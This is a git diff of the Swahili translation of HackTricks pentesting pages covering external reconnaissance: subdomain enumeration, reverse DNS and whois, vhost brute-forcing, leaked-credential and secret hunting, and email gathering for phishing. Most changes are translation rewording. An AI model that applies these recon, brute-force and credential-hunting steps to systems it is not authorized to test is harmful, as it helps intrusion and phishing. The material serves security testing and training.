@ -76,7 +76,7 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **Kutafuta udhaifu**
Katika hatua hii tunajua **rasilimali zote ndani ya upeo**, hivyo ikiwa umepewa ruhusa unaweza kuzindua **scanner ya udhaifu** (Nessus, OpenVAS) juu ya mwenyeji wote.\
Pia, unaweza kuzindua baadhi ya [**skana za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au tumia huduma kama** shodan **kupata** bandari wazi **na kulingana na kile unachokipata unapaswa** kuangalia katika kitabu hiki jinsi ya kufanya pentesting kwa huduma kadhaa zinazoweza kuwa zinakimbia.\
Pia, unaweza kuzindua baadhi ya [**skana za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au tumia huduma kama** shodan **kupata** bandari wazi **na kulingana na kile unachokipata unapaswa** kuangalia katika kitabu hiki jinsi ya kufanya pentesting kwa huduma kadhaa zinazoweza kukimbia.\
**Pia, inaweza kuwa na faida kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za majina ya mtumiaji ya kawaida **na** nywila **na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domains
@ -89,7 +89,7 @@ Kwanza kabisa unapaswa kutafuta **kikoa kikuu**(s) cha kila kampuni. Kwa mfano,
### **Reverse DNS**
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina mengine ya kikoa ndani ya upeo**. Jaribu kutumia baadhi ya seva za dns za mwathirika au seva maarufu za dns (1.1.1.1, 8.8.8.8)
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina mengine ya kikoa ndani ya upeo**. Jaribu kutumia seva ya dns ya mwathirika au seva maarufu ya dns (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -112,8 +112,8 @@ Unaweza kutumia zana za mtandaoni kama:
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Si Bure (tu **100 bure** utafutaji)
* [https://www.domainiq.com/](https://www.domainiq.com) - Si Bure
Unaweza kujiandaa kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
Unaweza pia kutekeleza ugunduzi wa reverse whois kiotomatiki na [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Unaweza kuendesha kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
Unaweza pia kutekeleza ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Kumbuka kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapata kikoa kipya.**
@ -132,7 +132,7 @@ Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
### **Favicon**
Je, unajua kwamba tunaweza kupata majina yanayohusiana na kikoa na sub domains kwa kutafuta hash ya ikoni sawa ya favicon? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
Je, unajua kwamba tunaweza kupata majina yanayohusiana na kikoa na sub domains kwa kutafuta hash ya ikoni ya favicon sawa? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -178,7 +178,7 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
### **Passive Takeover**
Kwa kweli ni kawaida kwa watu kupeana subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
Kwa kweli ni kawaida kwa watu kupewa subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
### **DNS**
Tujaribu kupata **subdomains** kutoka kwa rekodi za **DNS**. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
Tujaribu kupata **subdomains** kutoka kwenye rekodi za **DNS**. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
```bash
dnsrecon -a -d tesla.com
```
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** inapata URLs zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
* [**gau**](https://github.com/lc/gau)**:** inapata URL zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -356,7 +356,7 @@ Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida ka
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Na pia IP za waamuzi wazuri wa DNS. Ili kuunda orodha ya waamuzi wa DNS waliotegemewa unaweza kupakua waamuzi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Na pia IP za wasuluhishi wa DNS wazuri. Ili kuunda orodha ya wasuluhishi wa DNS waliotegemewa unaweza kupakua wasuluhishi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Zana zinazopendekezwa zaidi kwa DNS brute-force ni:
@ -395,7 +395,7 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya domain na subdomain, inazalisha permutations. Ikiwa faili ya permutations haijaanishwa, gotator itatumia faili yake mwenyewe.
* [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya domain na subdomain, inazalisha permutations. Ikiwa faili la permutations halijaanzishwa, gotator itatumia faili lake mwenyewe.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyobinafsishwa au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyoandaliwa na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
```
echo www | subzuf facebook.com
```
@ -442,7 +442,7 @@ Unaweza kupata baadhi ya **VHosts katika IPs kwa kutumia** [**HostHunter**](http
**Brute Force**
Ikiwa unashuku kwamba subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
Ikiwa unashuku kuwa subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -473,7 +473,7 @@ Pia, kwa kuwa katika hatua hii utajua majina yote ya domain ndani ya upeo, jarib
### **Monitorization**
Unaweza **kufuatilia** ikiwa **subdomains mpya** za domain zinaundwa kwa kufuatilia **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)inafanya.
Unaweza **kufuatilia** kama **subdomains mpya** za domain zinaundwa kwa kufuatilia **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)inafanya.
### **Looking for vulnerabilities**
@ -502,7 +502,7 @@ Unaweza pia kuangalia majina ya domain yanayoelekeza kwenye anwani maalum ya IP
## Web servers hunting
> Tumepata kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
> Tumegundua kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
Katika hatua za awali huenda tayari umekuwa ukifanya baadhi ya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **ukipata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
@ -516,11 +516,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshots**
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domains** zote na **subdomains**) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua picha za skrini za zote. Kwa kuangalia tu **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ina **uwezekano** mkubwa wa kuwa **na udhaifu**.
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domains** zote na **subdomains**) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua picha za skrini za zote. Kwa **kuangalia** tu kwenye **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ina **uwezekano** mkubwa wa kuwa **na udhaifu**.
Ili kutekeleza wazo lililopendekezwa unaweza kutumia [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) au [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua picha zote za skrini ili kukuambia **nini kinaweza kuwa na udhaifu**, na nini hakina.
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua **picha za skrini** zote ili kukuambia **nini kinaweza kuwa na udhaifu**, na nini hakina.
## Mali za Umma za Wingu
@ -540,11 +540,11 @@ Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya makundi
### **Kuangalia udhaifu**
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizofichuliwa** unapaswa **kuvifungua** na kujaribu kuona ni nini vinatoa na ikiwa unaweza kuvifanyia matumizi mabaya.
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona kile wanachokupa na ikiwa unaweza kuzitumia vibaya.
## Barua pepe
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi vizuri zaidi kwangu kupata barua pepe za kampuni:
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi bora zaidi kwangu kupata barua pepe za kampuni:
* [**theHarvester**](https://github.com/laramies/theHarvester) - na APIs
* API ya [**https://hunter.io/**](https://hunter.io/) (toleo la bure)
@ -555,7 +555,7 @@ Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohita
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu nguvu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
## Mvuvi wa Akida
## Mvujo wa Akida
Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta akida zilizovuja katika siku za nyuma zinazomilikiwa na barua pepe hizo:
@ -566,33 +566,33 @@ Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta
Ikiwa unapata **akida zilizovuja** halali, hii ni ushindi rahisi sana.
## Mvuvi wa Siri
## Mvujo wa Siri
Mvuvi wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuvi mwingine** ambao habari zake haziko katika hizo databasi:
Mvujo wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvujo mingine** ambayo habari yake haipo katika hizo databasi:
### Mvuvi wa Github
### Mvujo wa Github
Akida na APIs zinaweza kuvuja katika **hifadhi za umma** za **kampuni** au za **watumiaji** wanaofanya kazi kwa kampuni hiyo ya github.\
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **um public** za **taasisi** na za **developers** zake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **um public** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
**Leakos** pia inaweza kutumika kuendesha **gitleaks** dhidi ya **maandishi** yaliyotolewa **URLs yaliyopitishwa** kwake kwani wakati mwingine **kurasa za wavuti pia zina siri**.
#### Github Dorks
Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika taasisi unayoishambulia:
Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika shirika unaloshambulia:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Mvuvi wa Pastes
### Mvujo wa Pastes
Wakati mwingine washambuliaji au wafanyakazi tu wata **chapisha maudhui ya kampuni katika tovuti ya paste**. Hii inaweza kuwa na au isiwe na **habari nyeti**, lakini ni ya kuvutia kutafuta.\
Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafuta katika zaidi ya tovuti 80 za paste kwa wakati mmoja.
### Mvuvi wa Google
### Google Dorks
Dorks za zamani lakini za dhahabu za google daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelfu kadhaa ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamalizika kamwe kwani google itakuzuia haraka sana._
@ -602,7 +602,7 @@ Ikiwa unapata **akida zilizovuja** halali au token za API, hii ni ushindi rahisi
## Udhaifu wa Msimbo wa Umma
Ikiwa umepata kwamba kampuni ina **msimbo wa chanzo wazi** unaweza **kuchambua** na kutafuta **udhaifu** ndani yake.
Ikiwa umepata kwamba kampuni ina **msimbo wa chanzo wazi** unaweza **kuuchambua** na kutafuta **udhaifu** ndani yake.
**Kulingana na lugha** kuna **zana** tofauti unazoweza kutumia:
@ -614,11 +614,11 @@ Pia kuna huduma za bure zinazokuruhusu **kuchunguza hifadhi za umma**, kama:
* [**Snyk**](https://app.snyk.io/)
## [**Mbinu za Pentesting Wavuti**](../../network-services-pentesting/pentesting-web/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
**Wingi wa udhaifu** unaopatikana na wawindaji wa makosa unapatikana ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti zenye chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, ikiwa huwezi kutarajia zipate udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti zenye chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie zitaweza kukupatia udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
## Muhtasari
@ -633,12 +633,12 @@ Hivyo tayari umepata:
5. Kupata **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
6. Kupata **seva zote za wavuti** na kuchukua **picha za skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
7. Kupata **mali zote za umma za wingu** zinazomilikiwa na kampuni.
8. **Barua pepe**, **mvuvi wa akida**, na **mvuvi wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
8. **Barua pepe**, **mvujo wa akida**, na **mvujo wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
9. **Pentesting wavuti zote ulizozipata**
## **Zana za Ufuatiliaji wa Moja kwa Moja**
Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya hatua zilizopendekezwa dhidi ya upeo fulani.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -647,24 +647,24 @@ Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa d
## **Marejeleo**
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Ufuatiliaji**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uvunjaji** na kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili ni lazima_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya Uvunjaji wa AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya Uvunjaji wa GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za uvunjaji kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -9,13 +9,13 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png"
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tuwekee** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
@ -29,11 +29,11 @@ _Logo za Hacktricks zimetengenezwa na_ [_@ppiernacho_](https://www.instagram.com
### 0- Mashambulizi ya Kimwili
Je, una **ufikiaji wa kimwili** kwa mashine unayotaka kushambulia? Unapaswa kusoma baadhi ya [**mbinu kuhusu mashambulizi ya kimwili**](../hardware-physical-access/physical-attacks.md) na nyingine kuhusu [**kutoroka kutoka kwa programu za GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
Je, una **ufikiaji wa kimwili** kwa mashine unayotaka kushambulia? Unapaswa kusoma baadhi ya [**hila kuhusu mashambulizi ya kimwili**](../hardware-physical-access/physical-attacks.md) na nyingine kuhusu [**kutoroka kutoka kwa programu za GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Kugundua mwenyeji ndani ya mtandao](pentesting-network/#discovering-hosts)/ [Kugundua Mali za kampuni](external-recon-methodology/)
**Kulingana** na ikiwa **mtihani** unaofanya ni **mtihani wa ndani au wa nje** unaweza kuwa na hamu ya kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni kwenye mtandao** (mtihani wa nje).
**Inategemea** ikiwa **mtihani** unayofanya ni **mtihani wa ndani au wa nje** unaweza kuwa na hamu ya kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni kwenye mtandao** (mtihani wa nje).
{% hint style="info" %}
Kumbuka kwamba ikiwa unafanya mtihani wa nje, mara tu unavyoweza kupata ufikiaji wa mtandao wa ndani wa kampuni unapaswa kuanzisha tena mwongo huu.
@ -46,9 +46,9 @@ Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kut
### 3- [Skana Bandari - Kugundua huduma](pentesting-network/#scanning-hosts)
Jambo la kwanza kufanya unapotafuta **udhaifu katika mwenyeji** ni kujua ni **huduma zipi zinaendesha** katika bandari zipi. Hebu tuone [**zana za msingi za kuskan bandari za wenyeji**](pentesting-network/#scanning-hosts).
Jambo la kwanza kufanya unapokuwa **ukitafuta udhaifu katika mwenyeji** ni kujua ni **huduma zipi zinaendesha** katika bandari zipi. Hebu tuone [**zana za msingi za kuskan bandari za wenyeji**](pentesting-network/#scanning-hosts).
### **4-** [Kuhakikisha matoleo ya huduma](search-exploits.md)
### **4-** [**Kutafuta matukio ya toleo la huduma**](search-exploits.md)
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Huenda ukapata bahati na kuna exploit ya kukupa shell...
@ -58,10 +58,10 @@ Ikiwa hakuna exploit ya kuvutia kwa huduma yoyote inayofanya kazi, unapaswa kuta
**Ndani ya kitabu hiki utapata mwongozo wa pentest huduma za kawaida zaidi** (na nyingine ambazo si za kawaida sana)**. Tafadhali, tafuta kwenye orodha ya kushoto sehemu ya** _**PENTESTING**_ **(huduma zimepangwa kwa bandari zao za kawaida).**
**Ninataka kutoa kumbukumbu maalum kwa** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **sehemu (kama ni kubwa zaidi).**\
**Ninataka kutoa kumbukumbu maalum ya** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **sehemu (kama ni kubwa zaidi).**\
Pia, mwongozo mdogo juu ya jinsi ya [**kutafuta udhaifu uliojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
**Ikiwa huduma yako haipo kwenye orodha, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **huwezi kupata chochote** kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
**Ikiwa huduma yako haipo kwenye orodha, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa huwezi kupata chochote kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
#### 5.1 Zana za Kiotomatiki
@ -73,7 +73,7 @@ Katika hali fulani **Brute-Force** inaweza kuwa na manufaa ili **kuathiri** **hu
### 6- [Phishing](phishing-methodology/)
Ikiwa katika hatua hii hujaona udhaifu wowote wa kuvutia unaweza **kujaribu phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu yangu ya phishing [hapa](phishing-methodology/):
Ikiwa katika hatua hii huja pata udhaifu wowote wa kuvutia unaweza **kuhitaji kujaribu phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu zangu za phishing [hapa](phishing-methodology/):
